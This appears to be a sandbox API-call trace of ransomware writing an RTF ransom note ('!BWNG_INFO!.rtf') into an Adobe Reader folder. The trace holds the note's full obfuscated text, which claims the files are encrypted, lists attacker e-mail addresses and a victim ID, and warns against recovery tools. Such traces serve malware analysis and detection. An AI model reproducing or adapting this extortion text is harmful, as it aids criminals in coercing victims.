sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n\x0f\x05\x0e\x8d\x1d¡øý\x03ø×=\n?\x06û\x1d÷A÷C÷+\x05Ø\\\x1dûN1\x03\x09", lpUsedDefaultChar=0x0) returned 14086 [0041.909] WriteFile (in: hFile=0x168, lpBuffer=0x2763ff8*, nNumberOfBytesToWrite=0x3706, lpNumberOfBytesWritten=0x390fdbc, lpOverlapped=0x0 | out: lpBuffer=0x2763ff8*, lpNumberOfBytesWritten=0x390fdbc*=0x3706, lpOverlapped=0x0) returned 1 [0041.910] CloseHandle (hObject=0x168) returned 1 [0041.910] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\Services\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\services\\!bwng_info!.rtf")) returned 0xffffffff [0041.910] GetLastError () returned 0x2 [0041.910] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\Services\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\services\\!bwng_info!.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0041.911] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 